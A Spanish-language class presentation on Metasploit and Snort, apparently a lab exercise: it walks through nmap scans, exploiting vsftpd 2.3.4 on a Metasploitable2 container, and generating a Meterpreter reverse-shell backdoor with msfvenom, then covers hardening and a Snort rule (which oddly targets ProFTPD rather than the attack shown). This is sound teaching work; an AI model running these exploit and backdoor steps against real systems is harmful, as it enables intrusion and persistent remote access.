En busca de vulnerabilidades
En esta presentación exploraremos las herramientas Metasploit y Snort para la detección y explotación de vulnerabilidades en sistemas de seguridad.

by Enrique Serrano Lendines

Introducción a Metasploit
¿Qué es Metasploit?
Metasploit es un marco de trabajo de código abierto para pruebas de penetración y evaluación de vulnerabilidades.
Objetivo
- Facilita el descubrimiento, explotación y validación de vulnerabilidades en sistemas informáticos.
Componentes Principales
  • Framework Core: Infraestructura y línea de comandos central.
  • Exploits: Aprovecha vulnerabilidades.
  • Payloads: Cargas entregadas después de una explotación.
  • Auxiliary Modules: Funciones complementarias como escaneo y recopilación de información.
  • Post-Exploitation Modules: Herramientas para mantener acceso y realizar tareas posexploración.
Funcionamiento de Metasploit
Fases Principales
  1. Reconocimiento: Identificación de objetivos y recopilación de información.
  1. Escaneo: Identificación de servicios y puertos abiertos.
  1. Ganar Acceso: Utilización de exploits.
  1. Mantenimiento del Acceso: Utilización de módulos posexploración.
  1. Análisis y Reporte: Evaluación de la seguridad y generación de informes.
Interfaz
Ofrece una interfaz gráfica y una de línea de comandos.
Comunidad y Desarrollo
Activa comunidad y código abierto favoreciendo el desarrollo colaborativo.
Introducción a Snort
¿Qué es Snort?
Snort es un sistema de detección y prevención de intrusiones de código abierto.
Objetivo
Monitorea la red en busca de actividades sospechosas y ataques, emitiendo alertas o tomando medidas preventivas.
Componentes Principales
  1. Sniffer: Captura y analiza paquetes de red.
  1. Detector de Intrusiones: Analiza patrones en los paquetes para identificar amenazas.
  1. Motor de Reglas: Define reglas para detectar comportamientos maliciosos.
Modos de Snort
  1. Modo Sniffer: Captura y muestra paquetes sin realizar acciones preventivas.
  1. Modo Detector de Intrusiones: Monitorea, detecta y responde a amenazas.
Flexibilidad y Personalización
Snort es altamente configurable, permitiendo la creación de reglas personalizadas según las necesidades de seguridad.
Funcionamiento de Snort
  1. Captura de Paquetes: Snort analiza el tráfico de red.
  1. Comparación con Reglas: Las reglas definen patrones de comportamiento malicioso.
  1. Generación de Alertas: Se emiten alertas en tiempo real si se detecta una amenaza.
Monitoreo de red y detección de intrusiones
Descubre cómo Snort puede ser utilizado como una herramienta efectiva para monitorear y analizar el tráfico de red, ayudando a identificar y prevenir posibles intrusos y amenazas.
Exploración y explotación de vulnerabilidades
INSTALAR METASPLOIT:
1. Instalación de Curl
sudo apt install curl
Instala la herramienta curl utilizada para descargar archivos desde la línea de comandos.
2. Descargar msfinstall
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
Descarga el script msfinstall desde el repositorio de Metasploit en GitHub.
3. Dar Permisos de Ejecución al Script
chmod 755 msfinstall
Otorga permisos de ejecución al script msfinstall.
4. Ejecutar msfinstall
sudo ./msfinstall
Ejecuta el script msfinstall. Añade Metasploit al listado de repositorios, actualiza el paquete cache e instala Metasploit Framework.
5. Actualizar Metasploit
msfupdate
Utiliza este comando para mantener actualizado Metasploit Framework.
6. Iniciar Metasploit
msfconsole
Abre la interfaz de línea de comandos de Metasploit Framework.
Preparación de la Máquina Vulnerable
1. Descargar y Ejecutar la Máquina Vulnerable
docker pull tleemcjr/metasploitable2 docker run --name vulnerada -it tleemcjr/metasploitable2:latest sh -c "/bin/services.sh && bash"
Estos comandos descargan la imagen de la máquina vulnerable y la ejecutan, preparándola para el escaneo y explotación.
Escaneo y Exploración de Vulnerabilidades
2. Escaneo de Puertos Abiertos
Instalación de nmap si no está instalado
sudo apt install nmap
Escaneo de puertos
nmap -sS -Pn 172.17.0.2
3. Escaneo de Vulnerabilidades en Servicios Específicos
Escaneo profundo en busca de vulnerabilidades en FTP
nmap -sV -p 21 --script vuln 172.17.0.2
Selección de Exploits y Creación de Puerta Trasera
4. Selección de Exploits y Payloads
Buscar exploits disponibles
search vsftpd 2.3.4
Seleccionar un exploit específico
use 0
Mostrar payloads compatibles
show payloads
Seleccionar y configurar el payload
set payload payload/cmd/unix/interact
5. Lanzamiento del Exploit
Configurar opciones necesarias
options
set rhost 172.17.0.2
Lanzar el exploit
run
6. Crear una Puerta Trasera con msfvenom y Meterpreter
Generar un payload Meterpreter
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.8.18 LPORT=4444 -f elf -o backdoor.elf
Analiza con un antivirus el malware diseñado. ¿Consigue identificarlo?
  • SI
Análisis Post-Ataque y Medidas de Hardening
7. Análisis Post-Ataque
1. Identificación de Maldades:
  • Uso de la shell Meterpreter para acciones maliciosas.
2. Potenciales Amenazas:
¿Qué otras maldades se podrían conseguir llegado a este punto? ¿Qué tipos de malware podrías usar llegado este momento?
  • Instalación de Backdoors: Crear accesos traseros para mantener el acceso a la máquina.
  • Extracción de Datos Sensibles: Recopilar información confidencial almacenada en la máquina.
  • Difusión de Malware Adicional: Instalar y ejecutar otros tipos de malware.
  • Manipulación del Sistema: Modificar configuraciones, desactivar servicios críticos, etc.
8. Medidas de Hardening Recomendadas
¿Qué fases del ciberataque analizadas en clase identificas en el ataque realizado y qué herramientas has usado en cada fase?
  • Actualizaciones y Parches: Mantener el sistema y las aplicaciones actualizadas.
  • Firewall: Configurar un firewall para limitar el tráfico no deseado.
  • Principio de Menor Privilegio: Limitar los privilegios de usuarios y servicios.
  • Monitoreo de Red: Utilizar herramientas de detección de intrusiones.
¿Qué fases del ciberataque analizadas en clase identificas en el ataque realizado y qué herramientas has usado en cada fase?
Reconocimiento e Información:
  • Herramienta: nmap para escaneo de puertos y servicios.
Explotación:
  • Herramienta: msfvenom para la generación de payloads y msfconsole para la explotación.
Post-Explotación:
  • Herramienta: Uso de la shell Meterpreter generada por Metasploit.
Implementación de Snort y Prevención de Ataques
9. Instalación de Snort
sudo apt install -y snort
10. Configuración de Reglas de Snort
Ejemplo de regla para detectar el ataque
sudo nano /etc/snort/snort.conf
Lanza ahora el ataque de nuevo y comenta qué ocurre.
  • No crea la sesion
¿Qué regla de Snort ayudaría a prevenir el ataque realizado o al menos a paliar el impacto? Explica el objetivo de la regla.
  • Por ejemplo, una regla podría ser:
alert tcp any any -> any 21 (msg:"FTP ProFTPD ModCopy Remote Command Execution"; flow:to_server,established; content:"SITE CPFR"; sid:1000001;)
11. Monitoreo y Prevención de Ataques
Lanzar Snort en la máquina víctima
snort -A console -q -c /etc/snort/snort.conf
CONCLUSIÓN
El proceso de instalación y uso de Metasploit Framework para llevar a cabo un ciberataque implica desde la instalación de Metasploit hasta la creación de una puerta trasera. Este tipo de ataque, detallado en fases de reconocimiento, explotación y post-explotación, destaca la importancia de medidas de hardening como actualizaciones regulares, firewalls y monitoreo de red.
La implementación de Snort, un sistema de detección de intrusiones, se recomienda para prevenir y detectar ataques. La creación o modificación de reglas en Snort puede ser clave, proporcionando una capa adicional de seguridad y mitigación.
Made with Gamma